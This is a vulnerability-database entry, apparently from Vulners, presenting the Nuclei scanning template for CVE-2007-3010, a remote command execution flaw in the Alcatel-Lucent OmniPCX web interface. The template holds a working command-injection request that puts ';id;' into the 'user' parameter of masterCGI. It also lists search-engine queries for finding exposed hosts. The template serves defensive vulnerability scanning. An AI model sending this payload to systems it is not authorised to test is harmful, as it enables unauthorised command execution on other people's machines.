Lucene search

ProjectDiscoveryNUCLEI:CVE-2007-3010

HistoryOct 13, 2023 - 4:05 p.m.

Alcatel-Lucent OmniPCX - Remote Command Execution

2023-10-1316:05:59

ProjectDiscovery

github.com

cve

rce

alcatel

web

interface

vulnerability

arbitrary

command

execution

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

6.6 Medium

AI Score

Confidence

Low

0.958 High

EPSS

Percentile

99.5%

JSON

The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.

id: CVE-2007-3010

info:
  name: Alcatel-Lucent OmniPCX - Remote Command Execution
  author: king-alexander
  severity: critical
  description: |
    The OmniPCX web interface has a script "masterCGI" with a remote command execution vulnerability via the "user" parameter.
  impact: |
    Any user with access to the web interface could execute arbitrary commands with the permissions of the webservers.
  remediation: |
    Update to supported versions that filter shell metacharacters in the "user" parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2007-3010
    - https://marc.info/?l=full-disclosure&m=119002152126755&w=2
    - http://www.redteam-pentesting.de/advisories/rt-sa-2007-001.php
    - http://www.vupen.com/english/advisories/2007/3185
    - http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2007-3010
    cwe-id: CWE-20
    epss-score: 0.97313
    epss-percentile: 0.99874
    cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: alcatel-lucent
    product: omnipcx
    shodan-query:
      - title:"OmniPCX for Enterprise"
      - http.title:"omnipcx for enterprise"
    fofa-query:
      - app="Alcatel_Lucent-OmniPCX-Enterprise"
      - app="alcatel_lucent-omnipcx-enterprise"
      - title="omnipcx for enterprise"
    google-query: intitle:"omnipcx for enterprise"
  tags: cve,cve2007,kev,rce,alcatel,alcatel-lucent

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/masterCGI?ping=nomip&user=;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: body
        words:
          - "<TITLE>master</TITLE>"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d5461b90f1703401d218da417966d156cdb851795019deb78cd43f70cb07ec6a022022e64196d18c50c25a32ba8e5bc6b0590867add3e6c725cae45d9cabf536f139:922c64590222798bb761d5b6d8e72950